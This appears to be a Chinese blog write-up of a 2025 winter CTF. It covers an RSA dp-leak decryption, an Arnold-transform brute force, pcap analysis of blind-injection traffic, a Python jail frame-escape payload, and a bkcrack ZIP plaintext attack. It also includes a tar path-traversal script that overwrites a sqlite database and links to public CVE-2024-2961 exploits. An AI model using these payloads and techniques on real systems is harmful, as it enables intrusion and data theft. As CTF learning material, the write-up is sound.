i春秋冬季赛2025个人学习总结

鏖战三天,也就100出头,还是太菜了,简单记录一下比赛中学到的知识

misc

ezmisc

1、提示:利⽤DP泄露来求出私钥,从⽽还原私钥流解密密⽂ 2、图片经过了Arnold变换
给了一个流量包,可以从中导出一个加密的压缩包和一个密文,

还得利用dp泄露,估计是流量包里导出的私钥文件损坏了,难怪直接用来解密会是乱码
文件里 应该n 是对的,p q不对,利用dp推出d
但是 后面发现 用openssl 去解析出的d和利用dp泄露推出的是一样的,。。。
openssl解析证书文件命令

openssl rsa -text -modulus -in warmup -in key.pem

解密代码

import gmpy2
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
e = 0x10001
n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45
dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7

with open('passwd.enc','rb') as file:
        enc=file.read()

for x in range(1,e):  #遍历X
    if (dp*e-1)%x==0:
        p=(dp*e-1)//x +1
        if n%p==0:
            q=n//p   #得到q
            phi=(p-1)*(q-1)  #欧拉函数
            d=int(gmpy2.invert(e,phi))
            print(hex(d))#求逆元
            rsakey=RSA.construct((n,e,d))
            rsa=PKCS1_OAEP.new(rsakey)
            m=rsa.decrypt(enc)
            print(m)
b'M1sc_1s_s0_e@sy!'

解压得到一个图片,提示图片经过Arnold变换

在这里插入图片描述

这个变换需要两个参数a,b,爆了很多发现不行,赛后看了别人的wp发现还要爆变换次数,666
从大佬那copy的爆破脚本

import matplotlib.pyplot as plt
import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):
    """ 
    使用 Arnold 逆变换对 RGB 图像进行解码
    参数:
        image: 经过 Arnold 变换加密的 RGB 图像
        shuffle_times: 需要解码的次数
        a, b: Arnold 变换参数
    返回:
        解码后的图像
    """
    # 创建一个与原图像相同大小的空白图像
    decode_image = np.zeros(shape=image.shape)

    # 获取图像的高度和宽度
    h, w = image.shape[0], image.shape[1]
    N = h  # 假设图像是正方形,N 取高度或宽度

    # 进行 shuffle_times 次逆变换
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                # 使用 Arnold 逆变换公式计算新坐标
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
                new_y = ((-a) * ori_x + ori_y) % N
                # 将像素映射到新位置
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
        # 更新 image 进行下一次迭代
        image = np.copy(decode_image)
    
    return image

def arnold_brute(image, shuffle_times_range, a_range, b_range):
    """
    通过遍历不同参数进行 Arnold 变换暴力破解
    
    参数:
        image: 加密后的图像
        shuffle_times_range: 试验解码次数的范围 (起始, 结束)
        a_range: 试验参数 a 的范围 (起始, 结束)
        b_range: 试验参数 b 的范围 (起始, 结束)
    """
    for c in range(shuffle_times_range[0], shuffle_times_range[1]):
        for a in range(a_range[0], a_range[1]):
            for b in range(b_range[0], b_range[1]):
                print(f"[+] 尝试 shuffle_times={c} a={a} b={b}")
                decoded_img = arnold_decode(image, c, a, b)
                
                # 保存解码后的图像,文件名包含尝试的参数值
                output_filename = f"flag_decoded_c{c}_a{a}_b{b}.png"
                cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])

if __name__ == "__main__":
    # 读取加密的图像文件
    img = cv2.imread("flag.png")
    # 进行暴力破解,尝试不同参数范围
    arnold_brute(img, (1, 8), (1, 20), (1, 30))

最后爆出来是6次,a=16,b=26 ,爆了好久,最后这真没必要,不如再搞个啥隐写或加密 把 abc 给我们

在这里插入图片描述

nethttp

给的流量包,一开始访问web服务,给了python服务的源代码(存在ssti),执行了一些命令后,就全是bash盲注查看文件的流量了
猜测成功,回显rce,否则无回显
思路:
遍历包,如果包含file_data包含rce字符串(盲注正确的相应),就追踪它请求包的request_uri
如何追踪,通过询问gpt和观察wireshark 可知,一次的请求和响应包的tcp stream 号是相等的
一开始想的是如果找到了包含rce的,就再遍历一次,找tcp stream号相同的包,但这样非常慢,由于流量包比较大,搜索比较耗时间
后面发现FileCapture对象实现了__next__方法(可以当作可迭代对象访问,在很多pyshark的题目也是直接遍历的),
那就转为list,后发现list[0]list[1]的tcp stream号相等,看来一次请求的请求和响应都被放在了相邻的位置,那么找到包含rce的,那么访问上一个的request_uri就可以了,这样时间就快了很多,几分钟就可以了
脚本实现

import pyshark
import asyncio
import re
import base64
# 设置事件循环
loop = asyncio.ProactorEventLoop()
asyncio.set_event_loop(loop)

# 定义 PCAP 文件路径
pcap_file = 'a.pcapng'
# 原理
# 捕获数据包,仅筛选 HTTP 包
cap = pyshark.FileCapture(pcap_file, eventloop=loop, display_filter='http')
lis=list(cap)
print(lis[0].tcp.stream==lis[1].tcp.stream)
with open('cmd.txt','w') as file:
    for i in range(len(lis)-1):
        http=lis[i].http
        if hasattr(http,'file_data'):
            raw=str(http.file_data).replace(":","")
            data=bytes.fromhex(raw).decode('ascii')
            if "Welcome rce" in data:
                uri=str(lis[i-1].http.request_uri)
                cmd=base64.b64decode(re.findall(r'echo%20(.*?)%20%7C',uri)[0]).decode()
                print(cmd)
                file.write(cmd+'\n')
               
print('命令解析成功')
# 关闭捕获
cap.close()

cmd.txt就是解码后的命令,逐个提取字符就行
在这里插入图片描述

import re
import base64
flag=''
secret=''
with open('cmd.txt','r') as file:
    datas=file.readlines()
    for data in datas:
        data=data.strip()
        if 'flag' in data:
             f=re.findall(r'== \'(.*?)\'',data)[0]
             flag+=f
        if 'secret' in data:
            s=re.findall(r'== \'(.*?)\'',data)[0]
            secret+=s
print(flag)
print(secret)

就是解完后的secret还是加密的,流量中有一个加密的rsa私钥,找了好久没找到密钥,没想到一开始访问服务端源码的流量中的app.config['secert_key']就是密钥
用解密后的rsa密钥解密secret即可

python jail

这题倒是不错,考察python jail的栈帧逃逸,没学过这就恶补
大佬文章,原理详细
https://pid-blog.com/article/frame-escape-pyjail#%E5%88%A9%E7%94%A8%E7%94%9F%E6%88%90%E5%99%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%EF%BC%8C%E4%BD%86%E4%B8%BA%E4%BB%80%E4%B9%88%EF%BC%9F
栈帧逃逸适用情况: __builtins__被置为空,常规绕过手段被ban时可考虑
这一题的限制了长度,继承链payload会太长,所以考虑栈帧逃逸,利用生成器栈帧的f_back方法,回溯多次,回溯到题目代码调用exec的栈帧,再利用f_globals就可以拿到当时的globals环境(有__builtins__),就有机会rce了,但这题不用rce,只要拿到gloalbals里的box即可拿flag
官方payload,函数使用了yield,返回的就是生成器对象,回溯到最上层,然后用for循环取获取栈帧,

import base64
"""
def b():
    def a(): 
	    yield g.gi_frame.f_back.f_back.f_back.f_back
    g=a()
    g=[x for x in g][0]
    return g.f_globals['BOX']
s=b()
"""
m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()"
p = base64.b64encode(m.encode()).decode()
print(p)
print(len(m))

音频的秘密

提示deepsound 弱口令,随手试了个123出了,然后是加密的flag.zip,里面是flag.png再没有其他信息了
经过搜索才发现可以明文攻击,就利用png文件头的那几个字节居然就可以了,以前一直以为必须要两个文件
但是明文的攻击的条件还是传统的ZIP-Crypto算法才行
在这里插入图片描述

命令

bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png -x 0 89504E470D0A1A0A0000000049484452

得到key 29d29517 0fa535a9 abc67696 ,然后用这个key就可以把里面的数据恢复出来

bkcrack.exe -C "D:\study\题目\ichunqiu2025\music_secret\flag.zip" -c flag.png  -k 29d29517 0fa535a9 abc67696 -d "D:\study\题目\ichunqiu2025\music_secret\flag.png"

web

web整体难度不是很大,就是第三天的两个0解,有点一言难尽

bookshelf

我反序列化写了shell,但是当时没能绕过disable_function,比赛结束才后知后觉发现可以直接用cnext(CVE-2024-2961),绕一下open_basedir就行
漏洞发现者写的利用exp
https://github.com/ambionics/cnext-exploits
比较难用,还需要py3.10以上,建议自己改一下或者用大佬修改好的,我这里推荐柯佬改的
https://github.com/kezibei/php-filter-iconv
按照readme使用即可

gotar

还是第一次做出go的题目
通过审计源代码可知,读取flag需要userid为1且是admin(jwt识别),那就需要找可能伪造jwt的点,jwt通过读取文件.env获取

上网搜到了源码中用来解压的tar组件有一个路径遍历的漏洞,可以把压缩包里的文件解压到任意目录导致文件覆盖,还能列目录,因此是路径遍历漏洞
https://github.com/cokeBeer/go-cves/blob/main/CVE-2020-26279/CVE-2020-26279.md

尝试构造…/…/…/…/.env,本地发现可以覆盖了,但还是无法成功改jwt,猜测是.env只读取一次,

后面审计代码,发现文件读取的路径都是从数据库里读出,
在这里插入图片描述

在这里插入图片描述

而且数据库采用sqlite,是从go.db文件读取的,想到覆盖db文件,本地运行项目,随便上传一个文件,生成db文件,查看表结构
![[i春秋-2.png]]
发现有个path和extarced_path参数,都改为/试试 ,然后尝试读取/flag,和列目录
在这里插入图片描述

生成tar包


import tarfile
import io

def create_tar_with_custom_content(tar_name):
    # 创建一个 tar 文件
    with tarfile.open(tar_name, 'w') as tar:
        # 第一个文件的内容
        file_name1 = '../../../../go.db'
        
        with open('go.db','rb') as file:
                    file_content1=file.read()
        file_like_object1=io.BytesIO(file_content1)
        # 创建 TarInfo 对象并设置文件元数据
        tarinfo1 = tarfile.TarInfo(name=file_name1)
        tarinfo1.size = len(file_content1)  # 设置文件大小
        # 将第一个文件对象添加到 tar 存档
        tar.addfile(tarinfo1, file_like_object1)
# 创建 tar 文件
create_tar_with_custom_content('end.tar')

可以列目录
在这里插入图片描述

flag也是直接读出来了

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值